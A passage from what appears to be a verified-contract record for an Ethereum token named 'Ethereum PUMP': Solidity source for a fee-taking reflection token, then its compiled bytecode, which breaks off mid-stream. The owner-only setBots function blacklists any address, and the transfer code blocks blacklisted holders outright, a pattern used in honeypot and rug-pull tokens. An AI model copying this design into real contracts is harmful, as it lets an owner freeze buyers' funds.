block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146105ad578063c3c8cd8014610672578063c9567bf914610689578063d543dbeb146106a0578063dd62ed3e146106db5761011f565b806370a08231146103ef578063715018a6146104545780638da5cb5b1461046b57806395d89b41146104ac578063a9059cbb1461053c5761011f565b8063273123b7116100e7578063273123b7146102e1578063313ce567146103325780635932ead1146103605780636cf706791461039d5780636fc3eaec146103d85761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610760565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107bb565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a5565b005b34801561033e57600080fd5b506103476109c8565b604051808260ff16815260200191505060405180910390f35b34801561036c57600080fd5b5061039b6004803603602081101561038357600080fd5b810190808035151590602001909291905050506109d1565b005b3480156103a957600080fd5b506103d6600480360360208110156103c057600080fd5b8101908080359060200190929190505050610ab6565b005b3480156103e457600080fd5b506103ed610b88565b005b3480156103fb57600080fd5b5061043e6004803603602081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bfa565b6040518082815260200191505060405180910390f35b34801561046057600080fd5b50610469610ce5565b005b34801561047757600080fd5b50610480610e6b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b857600080fd5b506104c1610e94565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105015780820151818401526020810190506104e6565b50505050905090810190601f16801561052e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054857600080fd5b506105956004803603604081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed1565b60405180821515815260200191505060405180910390f35b3480156105b957600080fd5b50610670600480360360208110156105d057600080fd5b81019080803590602001906401000000008111156105ed57600080fd5b8201836020820111156105ff57600080fd5b8035906020019184602083028401116401000000008311171561062157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610eef565b005b34801561067e57600080fd5b5061068761103f565b005b34801561069557600080fd5b5061069e6110b9565b005b3480156106ac57600080fd5b506106d9600480360360208110156106c357600080fd5b8101908080359060200190929190505050611737565b005b3480156106e757600080fd5b5061074a600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e6565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f457468657265756d2050554d5000000000000000000000000000000000000000815250905090565b60006107b16107aa61196d565b8484611975565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107d9848484611b6c565b61089a846107e561196d565b61089585604051806060016040528060288152602001613e2560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b61196d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123979092919063ffffffff16565b611975565b600190509392505050565b6108ad61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6109d961196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b610abe61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600d8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc961196d565b73ffffffffffffffffffffffffffffffffffffffff1614610be957600080fd5b6000479050610bf781612457565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c9557600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ce0565b610cdd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612552565b90505b919050565b610ced61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f6550554d50f09f92aa0000000000000000000000000000000000000000000000815250905090565b6000610ee5610ede61196d565b8484611b6c565b6001905092915050565b610ef761196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b815181101561103b57600160076000848481518110610fd557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610fba565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661108061196d565b73ffffffffffffffffffffffffffffffffffffffff16146110a057600080fd5b60006110ab30610bfa565b90506110b6816125d6565b50565b6110c161196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611181576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff1615611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611975565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112da57600080fd5b505afa1580156112ee573d6000803e3d6000fd5b505050506040513d602081101561130457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561137757600080fd5b505afa15801561138b573d6000803e3d6000fd5b505050506040513d60208110156113a157600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561141b57600080fd5b505af115801561142f573d6000803e3d6000fd5b505050506040513d602081101561144557600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114df30610bfa565b6000806114ea610e6b565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561156f57600080fd5b505af1158015611583573d6000803e3d6000fd5b50505050506040513d606081101561159a57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116f857600080fd5b505af115801561170c573d6000803e3d6000fd5b505050506040513d602081101561172257600080fd5b81019080805190602001909291905050505050565b61173f61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b6118a4606461189683683635c9adc5dea000006128c090919063ffffffff16565b61294690919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e9b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613de26022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613e766025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d956023913960400191505060405180910390fd5b60008111611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613e4d6029913960400191505060405180910390fd5b611cd9610e6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d475750611d17610e6b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122d457601360179054906101000a900460ff1615611fad573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dc957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e235750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e7d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611fac57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ec361196d565b73ffffffffffffffffffffffffffffffffffffffff161480611f395750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f2161196d565b73ffffffffffffffffffffffffffffffffffffffff16145b611fab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611fbc57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120605750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61206957600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121145750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561216a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121825750601360179054906101000a900460ff165b1561221a5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106121d257600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061222530610bfa565b9050601360159054906101000a900460ff161580156122925750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156122aa5750601360169054906101000a900460ff165b156122d2576122b8816125d6565b600047905060008111156122d0576122cf47612457565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061237b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561238557600090505b61239184848484612990565b50505050565b6000838311158290612444576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124095780820151818401526020810190506123ee565b50505050905090810190601f1680156124365780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124a760028461294690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124d2573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61252360028461294690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561254e573d6000803e3d6000fd5b5050565b6000600a548211156125af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613db8602a913960400191505060405180910390fd5b60006125b9612be7565b90506125ce818461294690919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561260b57600080fd5b5060405190808252806020026020018201604052801561263a5781602001602082028036833780820191505090505b509050308160008151811061264b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126ed57600080fd5b505afa158015612701573d6000803e3d6000fd5b505050506040513d602081101561271757600080fd5b81019080805190602001909291905050508160018151811061273557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061279c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611975565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612860578082015181840152602081019050612845565b505050509050019650505050505050600060405180830381600087803b15801561288957600080fd5b505af115801561289d573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156128d35760009050612940565b60008284029050828482816128e457fe5b041461293b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613e046021913960400191505060405180910390fd5b809150505b92915050565b600061298883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c12565b905092915050565b8061299e5761299d612cd8565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a415750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a5657612a51848484612d1b565b612bd3565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612af95750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b0e57612b09848484612f7b565b612bd2565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612bb05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bc557612bc08484846131db565b612bd1565b612bd08484846134d0565b5b5b5b80612be157612be061369b565b5b50505050565b6000806000612bf46136af565b91509150612c0b818361294690919063ffffffff16565b9250505090565b60008083118290612cbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c83578082015181840152602081019050612c68565b50505050905090810190601f168015612cb05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612cca57fe5b049050809150509392505050565b6000600c54148015612cec57506000600d54145b15612cf657612d19565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612d2d8761395c565b955095509550955095509550612d8b87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eb585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f0181613a96565b612f0b8483613c3b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612f8d8761395c565b955095509550955095509550612feb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308083600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061311585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061316181613a96565b61316b8483613c3b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806131ed8761395c565b95509550955095509550955061324b87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337583600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061340a856002